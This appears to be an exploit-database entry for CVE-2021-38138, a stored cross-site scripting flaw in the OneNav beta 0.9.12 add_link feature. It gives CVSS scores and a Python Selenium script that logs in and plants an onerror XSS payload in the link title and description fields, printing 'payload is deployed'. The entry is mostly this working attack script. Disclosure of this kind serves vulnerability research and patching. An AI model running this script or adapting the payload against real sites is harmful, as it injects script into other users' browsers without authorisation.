OneNav Beta 0.9.12 Cross Site Scripting

Credit: nu11secur1ty
Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 3.5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 6.8/10
Exploit range: Remote
Attack complexity: Medium
Authentication: Single time
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: XSS-Stored - Brutal PWNED on OneNav beta 0.9.12 add_link feature # Author: nu11secur1ty # Testing and Debugging: nu11secur1ty $ g3ck0dr1v3r # Date: 08.06.2021 # Vendor: # Link: # CVE: CVE-2021-38138 [+] Exploit Source: #!/usr/bin/python3 # Author: @nu11secur1ty # Debug and Developement: nu11secur1ty & g3ck0dr1v3r # CVE-2021-38138 from selenium import webdriver import time #enter the link to the website you want to automate login. website_link="" #enter your login username username="xiaoz" #enter your login password password="" #enter the element for username input field element_for_username="user" #enter the element for password input field element_for_password="password" #enter the element for submit button element_for_submit="layui-btn" browser = webdriver.Chrome() browser.get((website_link)) try: username_element = browser.find_element_by_name(element_for_username) username_element.send_keys(username) password_element = browser.find_element_by_name(element_for_password) password_element.send_keys(password) signInButton = browser.find_element_by_class_name(element_for_submit) # Exploit PWNED HTTP Traffic is not filtered. It was a lot of fun :D time.sleep(3) browser.get(("")) time.sleep(3) browser.execute_script("document.querySelector('[name=\"url\"]').value = ''") time.sleep(3) browser.execute_script("document.querySelector('[name=\"title\"]').value = '</span><img src= <a href=> onerror=alert(1) /><span>'") #button1 browser.execute_script("document.querySelector('[class=\"layui-edge\"]').click()") time.sleep(1) # button2 using $ because querySelector cannot parse dd selector browser.execute_script("$('dd[lay-value=19]').click()") time.sleep(1) browser.execute_script("document.querySelector('[name=\"description\"]').value = '</span><img src= <a href=> onerror=alert(1) /><span>'") #submit button3 browser.execute_script("document.querySelector('[class=\"layui-btn\"]').click()") time.sleep(1) browser.maximize_window() browser.get(("")) print("payload is deployed...\n") except Exception: #### This exception occurs if the element are not found in the webpage. print("Some error occured :(") ---------------------------------------------------------------------------------------- # Reproduce: # Proof:

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2023,


Back to Top